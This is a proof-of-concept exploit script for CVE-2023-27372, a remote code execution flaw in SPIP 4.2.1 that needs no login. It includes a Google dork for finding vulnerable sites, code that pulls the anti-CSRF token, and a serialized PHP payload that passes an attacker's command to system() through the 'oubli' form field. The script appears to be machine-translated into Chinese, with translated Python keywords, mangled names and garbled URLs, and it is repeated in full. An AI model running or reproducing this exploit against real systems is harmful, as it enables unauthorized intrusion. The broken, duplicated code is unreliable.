#!/usr/bin/env Python3
# - * - 编码: UTF-8 - * -
#利用标题: SPIP v4.2.1-远程代码执行(未经身份验证)
#Google Dork: inurl:'/spip.php?page=登录'
#日期: 19/06/2023
#Exploit wuter: nuts7(https://github.com/nuts7/cve-2023-27372)
#供应商homepage3360 https://www.pip.net/
#软件link: https://files.pip.net/spip/archives/
#版本: 4.2.1(描述中指示的几个固定版本除外)
#测试在: Ubuntu 20.04.3 LTS,SPIP 4.0.0
#CVE参考: CVE-2023-27372(Coiffeur)
#CVSS : 9.8(临界)
#
#漏洞描述:
#
#4.2.1之前的spip允许通过公共区域中的表单值执行远程代码,因为序列化不正确。分支3.2、4.0、4.1和4.2。固定版本为3.2.18、4.0.10、4.1.8和4.2.1。
#此POC利用SPIP中的PHP代码注入。漏洞存在于“ OUBLI”参数中,并允许未经验证的用户使用Web用户特权执行任意命令。
#
#USAGE: PYTHON3 CVE-2023-27372.PY http://example.com
导入argparse
导入BS4
导入html
导入请求
DEF PARSEARGS():
parser=argparse.argumentparser(description='cve-2023-27372 poc spip 4.2.1- nuts7'的远程代码执行)
parser.add_argument(' - u',' - url',默认=none,quirteR=true,help='spip application base base url')
parser.add_argument(' - c',' - command',默认=none,必需=true,help,help='命令ececute')
parser.add_argument(' - v',' - verbose',默认=false,action='store_true',help='详细模式。(default3: false)')
返回parser.parse_args()
DEF GET_ANTICSRF(URL):
r=requests.get('%s/spip.php?page=spip_pass'%url,超时=10)
汤=bs4.beautifulsoup(r.text,'html.parser')
csrf_input=soup.find('input',{'name':'formulee_action_args'})
如果CSRF_INPUT:
csrf_value=csrf_input ['value']
如果option.verbose:
print('[+]抗CSRF令牌发现:%s'%csrf_value)
返回CSRF_VALUE
其他:
打印('[ - ]找不到抗CSRF令牌')
返回-1
def send_payload(url,有效载荷):
数据={
'page':'spip_pass',
'formulaire_action':'oubli',
'formulaire_action_args': csrf,
'oubli':有效载荷
}
r=requests.post('%s/spip.php?page=spip_pass'%url,data=data)
如果option.verbose:
打印('[+]执行此有效载荷:%S'%有效载荷)
返回0
如果name=='__ -Main __':
选项=parseargs()
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.default_ciphers +=':HIGH:dh:anull'
TRY:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.default_ciphers +=':HIGH3:dh3:anull'
除了attributeError:
经过
csrf=get_anticsrf(url=options.url)
send_payload(url=options.url,有效载荷='s:%s: \'?php system('%s');\';'%(20 + len(options.command),options.command))
# - * - 编码: UTF-8 - * -
#利用标题: SPIP v4.2.1-远程代码执行(未经身份验证)
#Google Dork: inurl:'/spip.php?page=登录'
#日期: 19/06/2023
#Exploit wuter: nuts7(https://github.com/nuts7/cve-2023-27372)
#供应商homepage3360 https://www.pip.net/
#软件link: https://files.pip.net/spip/archives/
#版本: 4.2.1(描述中指示的几个固定版本除外)
#测试在: Ubuntu 20.04.3 LTS,SPIP 4.0.0
#CVE参考: CVE-2023-27372(Coiffeur)
#CVSS : 9.8(临界)
#
#漏洞描述:
#
#4.2.1之前的spip允许通过公共区域中的表单值执行远程代码,因为序列化不正确。分支3.2、4.0、4.1和4.2。固定版本为3.2.18、4.0.10、4.1.8和4.2.1。
#此POC利用SPIP中的PHP代码注入。漏洞存在于“ OUBLI”参数中,并允许未经验证的用户使用Web用户特权执行任意命令。
#
#USAGE: PYTHON3 CVE-2023-27372.PY http://example.com
导入argparse
导入BS4
导入html
导入请求
DEF PARSEARGS():
parser=argparse.argumentparser(description='cve-2023-27372 poc spip 4.2.1- nuts7'的远程代码执行)
parser.add_argument(' - u',' - url',默认=none,quirteR=true,help='spip application base base url')
parser.add_argument(' - c',' - command',默认=none,必需=true,help,help='命令ececute')
parser.add_argument(' - v',' - verbose',默认=false,action='store_true',help='详细模式。(default3: false)')
返回parser.parse_args()
DEF GET_ANTICSRF(URL):
r=requests.get('%s/spip.php?page=spip_pass'%url,超时=10)
汤=bs4.beautifulsoup(r.text,'html.parser')
csrf_input=soup.find('input',{'name':'formulee_action_args'})
如果CSRF_INPUT:
csrf_value=csrf_input ['value']
如果option.verbose:
print('[+]抗CSRF令牌发现:%s'%csrf_value)
返回CSRF_VALUE
其他:
打印('[ - ]找不到抗CSRF令牌')
返回-1
def send_payload(url,有效载荷):
数据={
'page':'spip_pass',
'formulaire_action':'oubli',
'formulaire_action_args': csrf,
'oubli':有效载荷
}
r=requests.post('%s/spip.php?page=spip_pass'%url,data=data)
如果option.verbose:
打印('[+]执行此有效载荷:%S'%有效载荷)
返回0
如果name=='__ -Main __':
选项=parseargs()
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.default_ciphers +=':HIGH:dh:anull'
TRY:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.default_ciphers +=':HIGH3:dh3:anull'
除了attributeError:
经过
csrf=get_anticsrf(url=options.url)
send_payload(url=options.url,有效载荷='s:%s: \'?php system('%s');\';'%(20 + len(options.command),options.command))